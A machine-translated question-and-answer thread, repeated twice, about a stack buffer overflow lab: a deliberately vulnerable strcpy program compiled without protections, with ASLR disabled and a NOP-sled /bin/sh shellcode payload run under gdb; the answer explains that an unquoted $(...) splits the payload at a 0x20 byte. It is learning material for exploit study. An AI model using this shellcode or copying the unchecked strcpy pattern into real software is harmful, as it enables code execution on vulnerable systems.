为什么需要使用精确的 return 地址来执行 shellcode?
Why is there the need to use a precise return address for shellcode execution?
我试图理解为什么为了成功执行我的 shellcode 负载,我需要在堆栈中使用特定的 return 地址。
如果我使用仍在堆栈中的不同地址,我会得到 SIGSEGV segmentation fault
或 SIGILL illegal instruction
。
首先,我通过这样做在 OS 上停用了 ASLR :
echo 0 > /proc/sys/kernel/randomize_va_space
这是我易受攻击的 C 代码:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
我在 64 位机器上使用 gcc
将其编译为 32 位,并使用以下行:
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
因此,我有一个可执行堆栈,因此 shellcode 是可执行的,也没有堆栈保护器来允许堆栈粉碎。
这是我的 shellcode(NOP|shellcode-payload|return-地址):
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
我使用 Python2 将此 shellcode 作为 buffer
二进制文件的输入提供给 gdb,如下所示:
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
通过在 gdb
中放置一个 break func
,我可以打印以下字节,显示一些堆栈。
如果我在 shellcode 末尾放置不在范围内的任何 return 地址:0xffffd521-0xffffd539
。我得到 SIGSEGV
或 SIGILL
为什么会这样?
例如,0xffffd520
是堆栈中的有效地址,为什么它不起作用?
这与您的程序或您的 shell 代码没有任何关系,但与您 运行 它的方式有关。 shell 中的 $(...)
将其结果拆分为白色 space 处的多个参数,因此如果 python
的输出包含白色 space 字节,则 argv[1]
将仅获取第一个此类字节之前的有效负载部分。地址 0xffffd520
具有 0x20
、space 作为其字节之一,因此这将导致 argv[1]
包含有效负载的截断版本,特别是不会'根本不包含正确的 return 地址,因此崩溃。
您应该使用引号将整个输出强制为单个参数:"$(python2 ... )"
我试图理解为什么为了成功执行我的 shellcode 负载,我需要在堆栈中使用特定的 return 地址。
如果我使用仍在堆栈中的不同地址,我会得到 SIGSEGV segmentation fault
或 SIGILL illegal instruction
。
首先,我通过这样做在 OS 上停用了 ASLR :
echo 0 > /proc/sys/kernel/randomize_va_space
这是我易受攻击的 C 代码:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func (char *arg) {
char buffer[64];
strcpy(buffer, arg);
printf("%s\n", buffer);
}
int main(int argc, char *argv[])
{
func(argv[1]);
return 0;
}
我在 64 位机器上使用 gcc
将其编译为 32 位,并使用以下行:
gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector
因此,我有一个可执行堆栈,因此 shellcode 是可执行的,也没有堆栈保护器来允许堆栈粉碎。
这是我的 shellcode(NOP|shellcode-payload|return-地址):
"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"
我使用 Python2 将此 shellcode 作为 buffer
二进制文件的输入提供给 gdb,如下所示:
gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')
通过在 gdb
中放置一个 break func
,我可以打印以下字节,显示一些堆栈。
如果我在 shellcode 末尾放置不在范围内的任何 return 地址:0xffffd521-0xffffd539
。我得到 SIGSEGV
或 SIGILL
为什么会这样?
例如,0xffffd520
是堆栈中的有效地址,为什么它不起作用?
这与您的程序或您的 shell 代码没有任何关系,但与您 运行 它的方式有关。 shell 中的 $(...)
将其结果拆分为白色 space 处的多个参数,因此如果 python
的输出包含白色 space 字节,则 argv[1]
将仅获取第一个此类字节之前的有效负载部分。地址 0xffffd520
具有 0x20
、space 作为其字节之一,因此这将导致 argv[1]
包含有效负载的截断版本,特别是不会'根本不包含正确的 return 地址,因此崩溃。
您应该使用引号将整个输出强制为单个参数:"$(python2 ... )"